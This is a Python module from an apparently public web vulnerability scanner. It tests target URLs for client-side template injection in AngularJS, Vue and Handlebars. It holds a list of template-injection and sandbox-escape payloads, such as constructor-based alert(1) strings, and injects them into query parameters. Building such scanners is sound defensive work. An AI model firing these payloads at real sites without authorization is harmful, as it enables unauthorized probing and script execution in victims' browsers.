SentinelScan-WSS / backend /scanners /csti_scanner.py
larxius's picture
Deploy SentinelScan WSS to HF Spaces
d543fc1 verified
Raw
History Blame Contribute Delete
10 kB
"""
csti_scanner.py — Client-Side Template Injection (CSTI) Scanner
===============================================================
Distinct from SSTI (server-side). CSTI targets AngularJS/Vue sandbox escapes
that execute entirely in the browser — the server never sees the payload.
Detects AngularJS ng-app scope, Vue template markers, and reflected template
expression delimiters in the response.
"""
import re, urllib.parse
from scanners.base_scanner import BaseScanner
CSTI_PAYLOADS = [
("{{7*7}}", "AngularJS template expression — expects 49 in response"),
("{{constructor.constructor('7*7')()|toString}}", "AngularJS sandbox escape"),
("{{$eval('7*7')}}", "AngularJS $eval injection"),
("{{$on.constructor('alert(1)')()}}", "AngularJS sandbox escape v2"),
("{{a='constructor';b='alert(1)';a[b]()}}", "AngularJS sandbox escape via constructor"),
("{{7*7}}", "Vue.js template expression"),
("${7*7}", "ES6 template literal injection"),
("{{{7*7}}}", "Handlebars unescaped expression"),
("{{_openBlock()}}", "Vue 3 reactivity probe"),
("{{_observe}}", "Vue reactivity detection"),
("{{__ob__}}", "Vue observer detection"),
("{{$parent.$parent.$options}}", "Vue component traversal"),
("{{#with 'sse' as |obj|}}{{obj.constructor.constructor('alert(1)')()}}{{/with}}", "Handlebars SSTI escape"),
("{{7*7}}", "Generic template expression"),
]
FRAMEWORK_MARKERS = {
"angular": ["ng-app", "ng-controller", "ng-model", "angular.js", "angular.min.js",
"x-ng-", "data-ng-", "@angular/", "angularjs"],
"vue": ["v-bind", "v-model", "v-for", "v-if", "vue.js", "vue.min.js",
"Vue.createApp", "createApp(", "@vue/"],
"react": ["react.js", "react.min.js", "ReactDOM", "data-reactroot"],
"handlebars": ["handlebars", "Handlebars", "{{", "{{{", "template: Handlebars"],
}
class CstiScanner(BaseScanner):
SCANNER_NAME = "Client-Side Template Injection (CSTI) Scanner"
_SCANNER_KEY = "csti"
def __init__(self, scan_id, target, domain, **kwargs):
super().__init__(scan_id, target, domain, **kwargs)
def run(self) -> list:
self.log("INFO", f"[CSTI] Scanning for client-side template injection on {self.target}...")
html, status = self._make_request(self.target)
if html is None:
self.log("WARNING", f"[CSTI] Error fetching page")
return self.vulns
detected_fw = []
html_lower = html.lower()
for fw, markers in FRAMEWORK_MARKERS.items():
if any(m.lower() in html_lower for m in markers):
detected_fw.append(fw)
self.log("INFO", f"[CSTI] Detected framework: {fw}")
if not detected_fw:
self.log("SUCCESS", "[CSTI] No client-side template frameworks detected.")
return self.vulns
parsed = urllib.parse.urlparse(self.target)
qs = urllib.parse.parse_qsl(parsed.query)
tested = False
for k, v in qs[:3]:
for payload, desc in CSTI_PAYLOADS:
injected = [(k_p, payload if k_p == k else v_p) for k_p, v_p in qs]
url = parsed._replace(query=urllib.parse.urlencode(injected)).geturl()
resp, rstatus = self._make_request(url)
if resp is None:
continue
tested = True
if "49" in resp and payload in ("{{7*7}}", "${7*7}"):
self.add_vuln(
title=f"CSTI Confirmed — Template Expression Evaluated in `{k}`",
severity="High",
category="Client-Side Template Injection",
cvss_score=8.0,
description=f"Injecting `{payload}` into `{k}` caused the server to "
f"reflect `49` — confirming the template engine evaluated `7*7`. "
f"Detected framework(s): {', '.join(detected_fw)}.\n\n"
"CSTI enables arbitrary JavaScript execution in the victim's browser "
"via sandbox escape payloads.",
remediation="1. Never render raw user input inside AngularJS/Vue templates.\n"
"2. Use Angular's DomSanitizer / Vue's v-text instead of v-html.\n"
"3. Set Angular's $compileProvider.debugInfoEnabled(false).\n"
"4. Upgrade to Angular 2+ (no longer uses string-based templates).",
evidence=f"Parameter `{k}` evaluated `{payload}` to `49` in response",
payload=payload,
request_details=f"GET {url}",
response_details=resp[:500],
confidence="Confirmed",
)
self.log("CRITICAL", f"[CSTI] Expression evaluated in `{k}`!")
return self.vulns
elif payload in resp and "{{" in resp:
self.add_vuln(
title=f"Template Delimiter Reflected in `{k}` — Possible CSTI",
severity="Medium",
category="Client-Side Template Injection",
cvss_score=5.3,
description=f"Template payload `{payload}` was reflected back in the "
f"response. If the page uses {', '.join(detected_fw)}, the browser "
"may evaluate this as a live template expression.",
remediation="Sanitize and encode template delimiters ({{ }}) in user output.",
evidence=f"Payload `{payload}` reflected in response",
payload=payload,
confidence="Medium",
)
if detected_fw:
self.add_vuln(
title=f"Client-Side Template Framework Detected: {', '.join(fw.title() for fw in detected_fw)}",
severity="Low",
category="Client-Side Template Injection",
cvss_score=0.0,
description=f"Page uses {', '.join(detected_fw)} — manual CSTI testing recommended "
"via Burp Suite with payloads: `{{constructor.constructor('alert(1)')()}}` (AngularJS) "
"or `{{_openBlock()}}` (Vue 3).",
remediation="Audit all template rendering paths for user-controlled input.",
confidence="Info",
)
self._test_angular_sandbox_escape(detected_fw, qs, parsed)
self._test_vue_template_injection(detected_fw, qs, parsed)
if not self.vulns:
self.log("SUCCESS", "[CSTI] No CSTI vulnerabilities detected.")
return self.vulns
def _test_angular_sandbox_escape(self, detected_fw, qs, parsed):
if "angular" not in detected_fw:
return
angular_payloads = [
"{{constructor.constructor('alert(1)')()}}",
"{{$on.constructor('alert(1)')()}}",
"{{a='constructor';b='alert(1)';a[b]()}}",
]
for k, v in qs[:2]:
for payload in angular_payloads:
injected = [(k_p, payload if k_p == k else v_p) for k_p, v_p in qs]
url = parsed._replace(query=urllib.parse.urlencode(injected)).geturl()
resp, status = self._make_request(url)
if resp and payload[:30] in resp:
self.add_vuln(
title=f"Angular Sandbox Escape Possible via `{k}`",
severity="Critical",
category="Client-Side Template Injection",
cvss_score=9.3,
description=f"Angular sandbox escape payload `{payload[:60]}...` reflected via `{k}`. "
"If AngularJS evaluates this, arbitrary JS execution is possible.",
remediation="Upgrade to Angular 2+ or disable string-based template compilation.",
evidence=f"Angular sandbox escape payload reflected: {payload[:60]}",
payload=payload,
confidence="High",
)
def _test_vue_template_injection(self, detected_fw, qs, parsed):
if "vue" not in detected_fw:
return
vue_payloads = [
"{{_openBlock()}}",
"{{__ob__}}",
"{{$parent.$parent.$options}}",
]
for k, v in qs[:2]:
for payload in vue_payloads:
injected = [(k_p, payload if k_p == k else v_p) for k_p, v_p in qs]
url = parsed._replace(query=urllib.parse.urlencode(injected)).geturl()
resp, status = self._make_request(url)
if resp and payload[:20] in resp:
self.add_vuln(
title=f"Vue.js Template Injection Possible via `{k}`",
severity="High",
category="Client-Side Template Injection",
cvss_score=7.5,
description=f"Vue.js reactivity payload `{payload}` reflected via `{k}`. "
"May indicate Vue template injection if the expression is evaluated.",
remediation="Use v-text instead of {{ }} interpolation for user-controlled data.",
evidence=f"Vue payload reflected: {payload}",
payload=payload,
confidence="Medium",
)